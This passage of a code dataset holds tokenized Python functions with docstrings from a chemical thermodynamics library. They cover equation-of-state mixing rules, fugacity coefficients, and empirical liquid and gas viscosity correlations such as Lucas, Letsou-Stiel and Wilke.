y_i(a\\alpha)_{ij}\n            \\right]\\ln\\left(1+\\frac{B}{Z}\\right)\n\n            A=\\frac{a\\alpha P}{R^2T^2}\n\n            B = \\frac{bP}{RT}\n\n        Parameters\n        ----------\n        Z : float\n            Compressibility of the mixture for a desired phase, [-]\n        zs : list[float], optional\n            List of mole factions, either overall or in a specific phase, [-]\n\n        Returns\n        -------\n        phis : float\n            Fugacity coefficient for each species, [-]\n\n        References\n        ----------\n        .. [1] Soave, Giorgio. \"Equilibrium Constants from a Modified \n           Redlich-Kwong Equation of State.\" Chemical Engineering Science 27,\n           no. 6 (June 1972): 1197-1203. doi:10.1016/0009-2509(72)80096-4.\n        .. [2] Walas, Stanley M. Phase Equilibria in Chemical Engineering. \n           Butterworth-Heinemann, 1985.", "id": "f15803:c2:m3"}
{"signature": "def setup_a_alpha_and_derivatives(self, i, T=None):", "body": "self.a = self.ais[i]<EOL>", "docstring": "r'''Sets `a` for a specific component before the \n        pure-species EOS's `a_alpha_and_derivatives` method is called. Both are \n        called by `GCEOSMIX.a_alpha_and_derivatives` for every component.", "id": "f15803:c4:m1"}
{"signature": "def cleanup_a_alpha_and_derivatives(self):", "body": "del(self.a)<EOL>", "docstring": "r'''Removes properties set by `setup_a_alpha_and_derivatives`; run by\n        `GCEOSMIX.a_alpha_and_derivatives` after `a_alpha` is calculated for \n        every component", "id": "f15803:c4:m2"}
{"signature": "def fugacity_coefficients(self, Z, zs):", "body": "phis = []<EOL>V = Z*R*self.T/self.P<EOL>for i in self.cmps:<EOL><INDENT>phi = self.bs[i]/(V-self.b) - log(Z*(<NUM_LIT:1.> - self.b/V)) - <NUM_LIT>*(self.a_alpha*self.ais[i])**<NUM_LIT:0.5>/(R*self.T*V)<EOL>phis.append(exp(phi))<EOL><DEDENT>return phis<EOL>", "docstring": "r'''Literature formula for calculating fugacity coefficients for each\n        species in a mixture. Verified numerically.\n        Called by `fugacities` on initialization, or by a solver routine \n        which is performing a flash calculation.\n\n        .. math::\n            \\ln \\hat \\phi_i = \\frac{b_i}{V-b} - \\ln\\left[Z\\left(1\n            - \\frac{b}{V}\\right)\\right] - \\frac{2\\sqrt{aa_i}}{RTV}\n\n        Parameters\n        ----------\n        Z : float\n            Compressibility of the mixture for a desired phase, [-]\n        zs : list[float], optional\n            List of mole factions, either overall or in a specific phase, [-]\n\n        Returns\n        -------\n        phis : float\n            Fugacity coefficient for each species, [-]\n\n        References\n        ----------\n        .. [1] Walas, Stanley M. Phase Equilibria in Chemical Engineering. \n           Butterworth-Heinemann, 1985.", "id": "f15803:c4:m3"}
{"signature": "def setup_a_alpha_and_derivatives(self, i, T=None):", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.kappas = [kappa0 + kappa1*(<NUM_LIT:1> + (T/Tc)**<NUM_LIT:0.5>)*(<NUM_LIT> - (T/Tc)) for kappa0, kappa1, Tc in zip(self.kappa0s, self.kappa1s, self.Tcs)]<EOL><DEDENT>self.a, self.kappa, self.kappa0, self.kappa1, self.Tc = self.ais[i], self.kappas[i], self.kappa0s[i], self.kappa1s[i], self.Tcs[i]<EOL>", "docstring": "r'''Sets `a`, `kappa0`, `kappa1`, and `Tc` for a specific component before the \n        pure-species EOS's `a_alpha_and_derivatives` method is called. Both are \n        called by `GCEOSMIX.a_alpha_and_derivatives` for every component.", "id": "f15803:c5:m1"}
{"signature": "def cleanup_a_alpha_and_derivatives(self):", "body": "del(self.a, self.kappa, self.kappa0, self.kappa1, self.Tc)<EOL>", "docstring": "r'''Removes properties set by `setup_a_alpha_and_derivatives`; run by\n        `GCEOSMIX.a_alpha_and_derivatives` after `a_alpha` is calculated for \n        every component", "id": "f15803:c5:m2"}
{"signature": "def setup_a_alpha_and_derivatives(self, i, T=None):", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.kappas = []<EOL>for Tc, kappa0, kappa1, kappa2, kappa3 in zip(self.Tcs, self.kappa0s, self.kappa1s, self.kappa2s, self.kappa3s):<EOL><INDENT>Tr = T/Tc<EOL>kappa = kappa0 + ((kappa1 + kappa2*(kappa3 - Tr)*(<NUM_LIT:1.> - Tr**<NUM_LIT:0.5>))*(<NUM_LIT:1.> + Tr**<NUM_LIT:0.5>)*(<NUM_LIT> - Tr))<EOL>self.kappas.append(kappa)<EOL><DEDENT><DEDENT>(self.a, self.kappa, self.kappa0, self.kappa1, self.kappa2, <EOL>self.kappa3, self.Tc) = (self.ais[i], self.kappas[i], self.kappa0s[i],<EOL>self.kappa1s[i], self.kappa2s[i], self.kappa3s[i], self.Tcs[i])<EOL>", "docstring": "r'''Sets `a`, `kappa`, `kappa0`, `kappa1`, `kappa2`, `kappa3` and `Tc`\n        for a specific component before the \n        pure-species EOS's `a_alpha_and_derivatives` method is called. Both are \n        called by `GCEOSMIX.a_alpha_and_derivatives` for every component.", "id": "f15803:c6:m1"}
{"signature": "def cleanup_a_alpha_and_derivatives(self):", "body": "del(self.a, self.kappa, self.kappa0, self.kappa1, self.kappa2, self.kappa3, self.Tc)<EOL>", "docstring": "r'''Removes properties set by `setup_a_alpha_and_derivatives`; run by\n        `GCEOSMIX.a_alpha_and_derivatives` after `a_alpha` is calculated for \n        every component", "id": "f15803:c6:m2"}
{"signature": "def setup_a_alpha_and_derivatives(self, i, T=None):", "body": "self.a, self.Tc, self.omega  = self.ais[i], self.Tcs[i], self.omegas[i]<EOL>", "docstring": "r'''Sets `a`, `omega`, and `Tc` for a specific component before the \n        pure-species EOS's `a_alpha_and_derivatives` method is called. Both are \n        called by `GCEOSMIX.a_alpha_and_derivatives` for every component.", "id": "f15803:c7:m1"}
{"signature": "def cleanup_a_alpha_and_derivatives(self):", "body": "del(self.a, self.Tc, self.omega)<EOL>", "docstring": "r'''Removes properties set by `setup_a_alpha_and_derivatives`; run by\n        `GCEOSMIX.a_alpha_and_derivatives` after `a_alpha` is calculated for \n        every component", "id": "f15803:c7:m2"}
{"signature": "def setup_a_alpha_and_derivatives(self, i, T=None):", "body": "self.a, self.Tc, self.omega  = self.ais[i], self.Tcs[i], self.omegas[i]<EOL>", "docstring": "r'''Sets `a`, `omega`, and `Tc` for a specific component before the \n        pure-species EOS's `a_alpha_and_derivatives` method is called. Both are \n        called by `GCEOSMIX.a_alpha_and_derivatives` for every component.", "id": "f15803:c8:m1"}
{"signature": "def cleanup_a_alpha_and_derivatives(self):", "body": "del(self.a, self.Tc, self.omega)<EOL>", "docstring": "r'''Removes properties set by `setup_a_alpha_and_derivatives`; run by\n        `GCEOSMIX.a_alpha_and_derivatives` after `a_alpha` is calculated for \n        every component", "id": "f15803:c8:m2"}
{"signature": "def setup_a_alpha_and_derivatives(self, i, T=None):", "body": "self.a, self.Tc, self.S1, self.S2  = self.ais[i], self.Tcs[i], self.S1s[i], self.S2s[i]<EOL>", "docstring": "r'''Sets `a`, `S1`, `S2` and `Tc` for a specific component before the \n        pure-species EOS's `a_alpha_and_derivatives` method is called. Both are \n        called by `GCEOSMIX.a_alpha_and_derivatives` for every component.", "id": "f15803:c9:m1"}
{"signature": "def cleanup_a_alpha_and_derivatives(self):", "body": "del(self.a, self.Tc, self.S1, self.S2)<EOL>", "docstring": "r'''Removes properties set by `setup_a_alpha_and_derivatives`; run by\n        `GCEOSMIX.a_alpha_and_derivatives` after `a_alpha` is calculated for \n        every component", "id": "f15803:c9:m2"}
{"signature": "def ViswanathNatarajan2(T, A, B):", "body": "mu = exp(A + B/T)<EOL>mu = mu/<NUM_LIT><EOL>mu = mu*<NUM_LIT:10><EOL>return mu<EOL>", "docstring": "This function is known to produce values 10 times too low.\nThe author's data must have an error.\nI have adjusted it to fix this.\n\n# DDBST has 0.0004580 as a value at this temperature\n>>> ViswanathNatarajan2(348.15, -5.9719, 1007.0)\n0.00045983686956829517", "id": "f15804:m0"}
{"signature": "def ViswanathNatarajan2Exponential(T, C, D):", "body": "mu = C*T**D<EOL>return mu<EOL>", "docstring": "This function is genuinely bad at what it does.\n\n>>> ViswanathNatarajan2Exponential(298.15, 4900800,  -3.8075)\n0.0018571903840928496", "id": "f15804:m1"}
{"signature": "def ViswanathNatarajan3(T, A, B, C):", "body": "mu = <NUM_LIT:10>**(A + B/(C - T))<EOL>return mu/<NUM_LIT><EOL>", "docstring": "r'''Calculate the viscosity of a liquid using the 3-term Antoine form\n    representation developed in [1]_. Requires input coefficients. The `A`\n    coefficient is assumed to yield coefficients in centipoise, as all \n    coefficients found so far have been.\n\n    .. math::\n        \\log_{10} \\mu = A + B/(T + C)\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n\n    Returns\n    -------\n    mu : float\n        Liquid viscosity, [Pa*s]\n\n    Notes\n    -----\n    No other source for these coefficients has been found.\n\n    Examples\n    --------\n    >>> ViswanathNatarajan3(298.15, -2.7173, -1071.18, -129.51)\n    0.0006129806445142112\n\n    References\n    ----------\n    .. [1] Viswanath, Dabir S., and G. Natarajan. Databook On The Viscosity Of\n       Liquids. New York: Taylor & Francis, 1989", "id": "f15804:m2"}
{"signature": "def Letsou_Stiel(T, MW, Tc, Pc, omega):", "body": "Tr = T/Tc<EOL>xi0 = (<NUM_LIT>-<NUM_LIT>*Tr + <NUM_LIT>*Tr**<NUM_LIT:2>)*<NUM_LIT><EOL>xi1 = (<NUM_LIT>-<NUM_LIT>*Tr + <NUM_LIT>*Tr**<NUM_LIT:2>)*<NUM_LIT><EOL>xi = <NUM_LIT>*Tc**(<NUM_LIT:1>/<NUM_LIT>)/(MW**<NUM_LIT:0.5>*Pc**(<NUM_LIT:2>/<NUM_LIT>))<EOL>return (xi0 + omega*xi1)/xi<EOL>", "docstring": "r'''Calculates the viscosity of a liquid using an emperical model\n    developed in [1]_. However. the fitting parameters for tabulated values\n    in the original article are found in ChemSep.\n\n    .. math::\n        \\xi = \\frac{2173.424 T_c^{1/6}}{\\sqrt{MW} P_c^{2/3}}\n\n        \\xi^{(0)} = (1.5174 - 2.135T_r + 0.75T_r^2)\\cdot 10^{-5}\n\n        \\xi^{(1)} = (4.2552 - 7.674 T_r + 3.4 T_r^2)\\cdot 10^{-5}\n\n        \\mu = (\\xi^{(0)} + \\omega \\xi^{(1)})/\\xi\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    MW : float\n        Molwcular weight of fluid [g/mol]\n    Tc : float\n        Critical temperature of the fluid [K]\n    Pc : float\n        Critical pressure of the fluid [Pa]\n    omega : float\n        Acentric factor of compound\n\n    Returns\n    -------\n    mu_l : float\n        Viscosity of liquid, [Pa*S]\n\n    Notes\n    -----\n    The form of this equation is a polynomial fit to tabulated data.\n    The fitting was performed by the DIPPR. This is DIPPR Procedure 8G: Method\n    for the viscosity of pure, nonhydrocarbon liquids at high temperatures\n    internal units are SI standard. [1]_'s units were different.\n    DIPPR test value for ethanol is used.\n\n    Average error 34%. Range of applicability is 0.76 < Tr < 0.98.\n\n    Examples\n    --------\n    >>> Letsou_Stiel(400., 46.07, 516.25, 6.383E6, 0.6371)\n    0.0002036150875308151\n\n    References\n    ----------\n    .. [1] Letsou, Athena, and Leonard I. Stiel. \"Viscosity of Saturated\n       Nonpolar Liquids at Elevated Pressures.\" AIChE Journal 19, no. 2 (1973):\n       409-11. doi:10.1002/aic.690190241.", "id": "f15804:m3"}
{"signature": "def Przedziecki_Sridhar(T, Tm, Tc, Pc, Vc, Vm, omega, MW):", "body": "Pc = Pc/<NUM_LIT>  <EOL>Vm, Vc = Vm*<NUM_LIT>, Vc*<NUM_LIT>  <EOL>Tr = T/Tc<EOL>Gamma = <NUM_LIT> - <NUM_LIT>*Tr - <NUM_LIT>*Tr**<NUM_LIT:2><EOL>VrT = <NUM_LIT>-<NUM_LIT>*Tr + <NUM_LIT>*Tr**<NUM_LIT:2> - <NUM_LIT>*Tr**<NUM_LIT:3> + <NUM_LIT>*Tr**<NUM_LIT:4><EOL>V = VrT*(<NUM_LIT:1>-omega*Gamma)*Vc<EOL>Vo = <NUM_LIT>*omega*Tc - <NUM_LIT> + Vm/(<NUM_LIT>*(Tm/Tc) + <NUM_LIT>)  <EOL>E = -<NUM_LIT> + Vc/(<NUM_LIT> + <NUM_LIT:0.1>*MW - <NUM_LIT>*Pc + <NUM_LIT>*Tm - <NUM_LIT>*(Tm/Tc))<EOL>return Vo/(E*(V-Vo))/<NUM_LIT><EOL>", "docstring": "r'''Calculates the viscosity of a liquid using an emperical formula\n    developed in [1]_.\n\n    .. math::\n        \\mu=\\frac{V_o}{E(V-V_o)}\n\n        E=-1.12+\\frac{V_c}{12.94+0.10MW-0.23P_c+0.0424T_{m}-11.58(T_{m}/T_c)}\n\n        V_o = 0.0085\\omega T_c-2.02+\\frac{V_{m}}{0.342(T_m/T_c)+0.894}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the fluid [K]\n    Tm : float\n        Melting point of fluid [K]\n    Tc : float\n        Critical temperature of the fluid [K]\n    Pc : float\n        Critical pressure of the fluid [Pa]\n    Vc : float\n        Critical volume of the fluid [m^3/mol]\n    Vm : float\n        Molar volume of the fluid at temperature [K]\n    omega : float\n        Acentric factor of compound\n    MW : float\n        Molwcular weight of fluid [g/mol]\n\n    Returns\n    -------\n    mu_l : float\n        Viscosity of liquid, [Pa*S]\n\n    Notes\n    -----\n    A test by Reid (1983) is used, but only mostly correct.\n    This function is not recommended. Its use has been removed from the Liquid Viscosity function.\n    Internal units are bar and mL/mol.\n    TODO: Test again with data from 5th ed table.\n\n    Examples\n    --------\n    >>> Przedziecki_Sridhar(383., 178., 591.8, 41E5, 316E-6, 95E-6, .263, 92.14)\n    0.0002198147995603383\n\n    References\n    ----------\n    .. [1] Przedziecki, J. W., and T. Sridhar. \"Prediction of Liquid\n       Viscosities.\" AIChE Journal 31, no. 2 (February 1, 1985): 333-35.\n       doi:10.1002/aic.690310225.", "id": "f15804:m4"}
{"signature": "def Lucas(T, P, Tc, Pc, omega, P_sat, mu_l):", "body": "Tr = T/Tc<EOL>C = -<NUM_LIT>+<NUM_LIT>*Tr - <NUM_LIT>*Tr**<NUM_LIT:2> + <NUM_LIT>*Tr**<NUM_LIT:3> - <NUM_LIT>*Tr**<NUM_LIT:4>+ <NUM_LIT>*Tr**<NUM_LIT:5>-<NUM_LIT>*Tr**<NUM_LIT:6>+<NUM_LIT>*Tr**<NUM_LIT:7><EOL>D = <NUM_LIT>/((<NUM_LIT>-Tr**<NUM_LIT>)**<NUM_LIT>) - <NUM_LIT><EOL>A = <NUM_LIT> - <NUM_LIT>/(<NUM_LIT>*Tr**-<NUM_LIT> - <NUM_LIT>)<EOL>dPr = (P-P_sat)/Pc<EOL>if dPr < <NUM_LIT:0>:<EOL><INDENT>dPr = <NUM_LIT:0><EOL><DEDENT>return (<NUM_LIT:1.> + D*(dPr/<NUM_LIT>)**A)/(<NUM_LIT:1.> + C*omega*dPr)*mu_l<EOL>", "docstring": "r'''Adjustes for pressure the viscosity of a liquid using an emperical\n    formula developed in [1]_, but as discussed in [2]_ as the original source\n    is in German.\n\n    .. math::\n        \\frac{\\mu}{\\mu_{sat}}=\\frac{1+D(\\Delta P_r/2.118)^A}{1+C\\omega \\Delta P_r}\n\n        \\Delta P_r = \\frac{P-P^{sat}}{P_c}\n\n        A=0.9991-\\frac{4.674\\times 10^{-4}}{1.0523T_r^{-0.03877}-1.0513}\n\n        D = \\frac{0.3257}{(1.0039-T_r^{2.573})^{0.2906}}-0.2086\n\n        C = -0.07921+2.1616T_r-13.4040T_r^2+44.1706T_r^3-84.8291T_r^4+\n        96.1209T_r^5-59.8127T_r^6+15.6719T_r^7\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    P : float\n        Pressure of fluid [Pa]\n    Tc: float\n        Critical point of fluid [K]\n    Pc : float\n        Critical pressure of the fluid [Pa]\n    omega : float\n        Acentric factor of compound\n    P_sat : float\n        Saturation pressure of the fluid [Pa]\n    mu_l : float\n        Viscosity of liquid at 1 atm or saturation, [Pa*S]\n\n    Returns\n    -------\n    mu_l_dense : float\n        Viscosity of liquid, [Pa*s]\n\n    Notes\n    -----\n    This equation is entirely dimensionless; all dimensions cancel.\n    The example is from Reid (1987); all results agree.\n    Above several thousand bar, this equation does not represent true behavior.\n    If Psat is larger than P, the fluid may not be liquid; dPr is set to 0.\n\n    Examples\n    --------\n    >>> Lucas(300., 500E5, 572.2, 34.7E5, 0.236, 0, 0.00068) # methylcyclohexane\n    0.0010683738499316518\n\n    References\n    ----------\n    .. [1] Lucas, Klaus. \"Ein Einfaches Verfahren Zur Berechnung Der\n       Viskositat von Gasen Und Gasgemischen.\" Chemie Ingenieur Technik 46, no. 4\n       (February 1, 1974): 157-157. doi:10.1002/cite.330460413.\n    .. [2] Reid, Robert C.; Prausnitz, John M.; Poling, Bruce E.\n       Properties of Gases and Liquids. McGraw-Hill Companies, 1987.", "id": "f15804:m5"}
{"signature": "def Yoon_Thodos(T, Tc, Pc, MW):", "body": "Tr = T/Tc<EOL>xi = <NUM_LIT>*Tc**(<NUM_LIT:1>/<NUM_LIT>)/(MW**<NUM_LIT:0.5>*Pc**(<NUM_LIT:2>/<NUM_LIT>))<EOL>a = <NUM_LIT><EOL>b = <NUM_LIT><EOL>c = <NUM_LIT><EOL>d = -<NUM_LIT><EOL>e = <NUM_LIT><EOL>f = -<NUM_LIT><EOL>return (<NUM_LIT:1.> + a*Tr**b - c * exp(d*Tr) + e*exp(f*Tr))/(<NUM_LIT>*xi)<EOL>", "docstring": "r'''Calculates the viscosity of a gas using an emperical formula\n    developed in [1]_.\n\n    .. math::\n        \\eta \\xi \\times 10^8 = 46.10 T_r^{0.618} - 20.40 \\exp(-0.449T_r) + 1\n        9.40\\exp(-4.058T_r)+1\n\n        \\xi = 2173.424 T_c^{1/6} MW^{-1/2} P_c^{-2/3}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the fluid [K]\n    Tc : float\n        Critical temperature of the fluid [K]\n    Pc : float\n        Critical pressure of the fluid [Pa]\n    MW : float\n        Molwcular weight of fluid [g/mol]\n\n    Returns\n    -------\n    mu_g : float\n        Viscosity of gas, [Pa*S]\n\n    Notes\n    -----\n    This equation has been tested. The equation uses SI units only internally.\n    The constant 2173.424 is an adjustment factor for units.\n    Average deviation within 3% for most compounds.\n    Greatest accuracy with dipole moments close to 0.\n    Hydrogen and helium have different coefficients, not implemented.\n    This is DIPPR Procedure 8B: Method for the Viscosity of Pure,\n    non hydrocarbon, nonpolar gases at low pressures\n\n    Examples\n    --------\n    >>> Yoon_Thodos(300., 556.35, 4.5596E6, 153.8)\n    1.0194885727776819e-05\n\n    References\n    ----------\n    .. [1]  Yoon, Poong, and George Thodos. \"Viscosity of Nonpolar Gaseous\n       Mixtures at Normal Pressures.\" AIChE Journal 16, no. 2 (1970): 300-304.\n       doi:10.1002/aic.690160225.", "id": "f15804:m6"}
{"signature": "def Stiel_Thodos(T, Tc, Pc, MW):", "body": "Pc = Pc/<NUM_LIT><EOL>Tr = T/Tc<EOL>xi = Tc**(<NUM_LIT:1>/<NUM_LIT>)/(MW**<NUM_LIT:0.5>*Pc**(<NUM_LIT:2>/<NUM_LIT>))<EOL>if Tr > <NUM_LIT>:<EOL><INDENT>mu_g = <NUM_LIT>*(<NUM_LIT>*Tr-<NUM_LIT>)**<NUM_LIT>/xi<EOL><DEDENT>else:<EOL><INDENT>mu_g = <NUM_LIT>*Tr**<NUM_LIT>/xi<EOL><DEDENT>return mu_g/<NUM_LIT><EOL>", "docstring": "r'''Calculates the viscosity of a gas using an emperical formula\n    developed in [1]_.\n\n    .. math::\n        TODO\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the fluid [K]\n    Tc : float\n        Critical temperature of the fluid [K]\n    Pc : float\n        Critical pressure of the fluid [Pa]\n    MW : float\n        Molwcular weight of fluid [g/mol]\n\n    Returns\n    -------\n    mu_g : float\n        Viscosity of gas, [Pa*S]\n\n    Notes\n    -----\n    Untested.\n    Claimed applicability from 0.2 to 5 atm.\n    Developed with data from 52 nonpolar, and 53 polar gases.\n    internal units are poise and atm.\n    Seems to give reasonable results.\n\n    Examples\n    --------\n    >>> Stiel_Thodos(300., 556.35, 4.5596E6, 153.8) #CCl4\n    1.0408926223608723e-05\n\n    References\n    ----------\n    .. [1] Stiel, Leonard I., and George Thodos. \"The Viscosity of Nonpolar\n       Gases at Normal Pressures.\" AIChE Journal 7, no. 4 (1961): 611-15.\n       doi:10.1002/aic.690070416.", "id": "f15804:m7"}
{"signature": "def lucas_gas(T, Tc, Pc, Zc, MW, dipole=<NUM_LIT:0>, CASRN=None):", "body": "Tr = T/Tc<EOL>xi = <NUM_LIT>*(Tc/MW**<NUM_LIT:3>/(Pc/<NUM_LIT>)**<NUM_LIT:4>)**(<NUM_LIT:1>/<NUM_LIT>)  <EOL>if dipole is None:<EOL><INDENT>dipole = <NUM_LIT:0><EOL><DEDENT>dipoler = <NUM_LIT>*dipole**<NUM_LIT:2>*(Pc/<NUM_LIT>)/Tc**<NUM_LIT:2>  <EOL>if dipoler < <NUM_LIT>:<EOL><INDENT>Fp = <NUM_LIT:1><EOL><DEDENT>elif <NUM_LIT> <= dipoler < <NUM_LIT>:<EOL><INDENT>Fp = <NUM_LIT:1> + <NUM_LIT>*(<NUM_LIT> - Zc)**<NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>Fp = <NUM_LIT:1> + <NUM_LIT>*(<NUM_LIT> - Zc)**<NUM_LIT>*abs(<NUM_LIT> + <NUM_LIT:0.1>*(Tr-<NUM_LIT>))<EOL><DEDENT>if CASRN and CASRN in _lucas_Q_dict:<EOL><INDENT>Q = _lucas_Q_dict[CASRN]<EOL>if Tr - <NUM_LIT:12> > <NUM_LIT:0>:<EOL><INDENT>value = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>value = -<NUM_LIT:1><EOL><DEDENT>FQ = <NUM_LIT>*Q**<NUM_LIT>*(<NUM_LIT:1> + <NUM_LIT>*((Tr-<NUM_LIT:12>)**<NUM_LIT:2>)**(<NUM_LIT:1.>/MW)*value)<EOL><DEDENT>else:<EOL><INDENT>FQ = <NUM_LIT:1><EOL><DEDENT>eta = (<NUM_LIT>*Tr**<NUM_LIT> - <NUM_LIT>*exp(-<NUM_LIT>*Tr) + <NUM_LIT>*exp(-<NUM_LIT>*Tr) + <NUM_LIT>)*Fp*FQ/xi<EOL>return eta/<NUM_LIT><EOL>", "docstring": "r'''Estimate the viscosity of a gas using an emperical\n    formula developed in several sources, but as discussed in [1]_ as the\n    original sources are in German or merely personal communications with the\n    authors of [1]_.\n\n    .. math::\n        \\eta  = \\left[0.807T_r^{0.618}-0.357\\exp(-0.449T_r) + 0.340\\exp(-4.058\n        T_r) + 0.018\\right]F_p^\\circ F_Q^\\circ /\\xi\n\n        F_p^\\circ=1, 0 \\le \\mu_{r} < 0.022\n\n        F_p^\\circ = 1+30.55(0.292-Z_c)^{1.72}, 0.022 \\le \\mu_{r} < 0.075\n\n        F_p^\\circ = 1+30.55(0.292-Z_c)^{1.72}|0.96+0.1(T_r-0.7)| 0.075 < \\mu_{r}\n\n        F_Q^\\circ = 1.22Q^{0.15}\\left\\{ 1+0.00385[(T_r-12)^2]^{1/M}\\text{sign}\n        (T_r-12)\\right\\}\n\n        \\mu_r = 52.46 \\frac{\\mu^2 P_c}{T_c^2}\n\n        \\xi=0.176\\left(\\frac{T_c}{MW^3 P_c^4}\\right)^{1/6}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc: float\n        Critical point of fluid [K]\n    Pc : float\n        Critical pressure of the fluid [Pa]\n    Zc : float\n        Critical compressibility of the fluid [Pa]\n    dipole : float\n        Dipole moment of fluid [debye]\n    CASRN : str, optional\n        CAS of the fluid\n\n    Returns\n    -------\n    mu_g : float\n        Viscosity of gas, [Pa*s]\n\n    Notes\n    -----\n    The example is from [1]_; all results agree.\n    Viscosity is calculated in micropoise, and converted to SI internally (1E-7).\n    Q for He = 1.38; Q for H2 = 0.76; Q for D2 = 0.52.\n\n    Examples\n    --------\n    >>> lucas_gas(T=550., Tc=512.6, Pc=80.9E5, Zc=0.224, MW=32.042, dipole=1.7)\n    1.7822676912698928e-05\n\n    References\n    ----------\n    .. [1] Reid, Robert C.; Prausnitz, John M.; Poling, Bruce E.\n       Properties of Gases and Liquids. McGraw-Hill Companies, 1987.", "id": "f15804:m8"}
{"signature": "def Gharagheizi_gas_viscosity(T, Tc, Pc, MW):", "body": "Tr = T/Tc<EOL>mu_g = <NUM_LIT>*Pc*Tr + (<NUM_LIT> - <NUM_LIT>/MW)*T + MW*(<NUM_LIT>*Pc - <NUM_LIT:8>*MW**<NUM_LIT:2>/T**<NUM_LIT:2>)*(<NUM_LIT>/Tc - <NUM_LIT>/T)<EOL>return <NUM_LIT> * abs(mu_g)<EOL>", "docstring": "r'''Calculates the viscosity of a gas using an emperical formula\n    developed in [1]_.\n\n    .. math::\n        \\mu = 10^{-7} | 10^{-5} P_cT_r + \\left(0.091-\\frac{0.477}{M}\\right)T +\n        M \\left(10^{-5}P_c-\\frac{8M^2}{T^2}\\right)\n        \\left(\\frac{10.7639}{T_c}-\\frac{4.1929}{T}\\right)|\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the fluid [K]\n    Tc : float\n        Critical temperature of the fluid [K]\n    Pc : float\n        Critical pressure of the fluid [Pa]\n    MW : float\n        Molwcular weight of fluid [g/mol]\n\n    Returns\n    -------\n    mu_g : float\n        Viscosity of gas, [Pa*S]\n\n    Notes\n    -----\n    Example is first point in supporting information of article, for methane.\n    This is the prefered function for gas viscosity.\n    7% average relative deviation. Deviation should never be above 30%.\n    Developed with the DIPPR database. It is believed theoretically predicted values\n    are included in the correlation.\n\n    Examples\n    --------\n    >>> Gharagheizi_gas_viscosity(120., 190.564, 45.99E5, 16.04246)\n    5.215761625399613e-06\n\n    References\n    ----------\n    .. [1] Gharagheizi, Farhad, Ali Eslamimanesh, Mehdi Sattari, Amir H.\n       Mohammadi, and Dominique Richon. \"Corresponding States Method for\n       Determination of the Viscosity of Gases at Atmospheric Pressure.\"\n       Industrial & Engineering Chemistry Research 51, no. 7\n       (February 22, 2012): 3179-85. doi:10.1021/ie202591f.", "id": "f15804:m9"}
{"signature": "def Herning_Zipperer(zs, mus, MWs):", "body": "if not none_and_length_check([zs, mus, MWs]):  <EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>MW_roots = [MWi**<NUM_LIT:0.5> for MWi in MWs]<EOL>denominator = sum([zi*MW_root_i for zi, MW_root_i in zip(zs, MW_roots)])<EOL>k = sum([zi*mui*MW_root_i for zi, mui, MW_root_i in zip(zs, mus, MW_roots)])<EOL>return k/denominator<EOL>", "docstring": "r'''Calculates viscosity of a gas mixture according to\n    mixing rules in [1]_.\n\n    .. math::\n        TODO\n\n    Parameters\n    ----------\n    zs : float\n        Mole fractions of components\n    mus : float\n        Gas viscosities of all components, [Pa*S]\n    MWs : float\n        Molecular weights of all components, [g/mol]\n\n    Returns\n    -------\n    mug : float\n        Viscosity of gas mixture, Pa*S]\n\n    Notes\n    -----\n    This equation is entirely dimensionless; all dimensions cancel.\n    The original source has not been reviewed.\n\n    Examples\n    --------\n\n    References\n    ----------\n    .. [1] Herning, F. and Zipperer, L,: \"Calculation of the Viscosity of\n       Technical Gas Mixtures from the Viscosity of Individual Gases, german\",\n       Gas u. Wasserfach (1936) 79, No. 49, 69.", "id": "f15804:m10"}
{"signature": "def Wilke(ys, mus, MWs):", "body": "if not none_and_length_check([ys, mus, MWs]):  <EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>cmps = range(len(ys))<EOL>phis = [[(<NUM_LIT:1> + (mus[i]/mus[j])**<NUM_LIT:0.5>*(MWs[j]/MWs[i])**<NUM_LIT>)**<NUM_LIT:2>/(<NUM_LIT:8>*(<NUM_LIT:1> + MWs[i]/MWs[j]))**<NUM_LIT:0.5><EOL>for j in cmps] for i in cmps]<EOL>return sum([ys[i]*mus[i]/sum([ys[j]*phis[i][j] for j in cmps]) for i in cmps])<EOL>", "docstring": "r'''Calculates viscosity of a gas mixture according to\n    mixing rules in [1]_.\n\n    .. math::\n        \\eta_{mix} = \\sum_{i=1}^n \\frac{y_i \\eta_i}{\\sum_{j=1}^n y_j \\phi_{ij}}\n\n        \\phi_{ij} = \\frac{(1 + \\sqrt{\\eta_i/\\eta_j}(MW_j/MW_i)^{0.25})^2}\n        {\\sqrt{8(1+MW_i/MW_j)}}\n\n    Parameters\n    ----------\n    ys : float\n        Mole fractions of gas components\n    mus : float\n        Gas viscosities of all components, [Pa*S]\n    MWs : float\n        Molecular weights of all components, [g/mol]\n\n    Returns\n    -------\n    mug : float\n        Viscosity of gas mixture, Pa*S]\n\n    Notes\n    -----\n    This equation is entirely dimensionless; all dimensions cancel.\n    The original source has not been reviewed or found.\n\n    Examples\n    --------\n    >>> Wilke([0.05, 0.95], [1.34E-5, 9.5029E-6], [64.06, 46.07])\n    9.701614885866193e-06\n\n    References\n    ----------\n    .. [1] TODO", "id": "f15804:m11"}
